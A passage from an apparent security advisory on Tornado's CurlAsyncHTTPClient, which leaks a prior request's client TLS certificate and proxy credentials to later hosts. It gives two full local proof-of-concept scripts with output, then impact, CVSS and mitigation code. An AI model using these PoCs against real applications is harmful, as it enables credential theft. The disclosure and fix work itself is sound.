A request that sets a new proxy_host without proxy_username updates PROXY/PROXYPORT but never reaches the else, so the previous request's credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when request.network_interface is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only (CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key


def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key


def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))


class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None


async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None


async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

• Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
• Actors: An application that issues requests with differing per-request options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request client_cert requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials.
• Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
• Scope: Only applications using the optional CurlAsyncHTTPClient backend with the patterns above are affected. The default SimpleAsyncHTTPClient is not affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start of _curl_setup_request and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note curl.reset() also clears CAINFO, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.)

Alternatively, add explicit clearing branches mirroring the existing PROXYUSERPWD/USERPWD handling:

# client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

# network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per distinct credential set (per client certificate / per proxy credential), or use SimpleAsyncHTTPClient where applicable.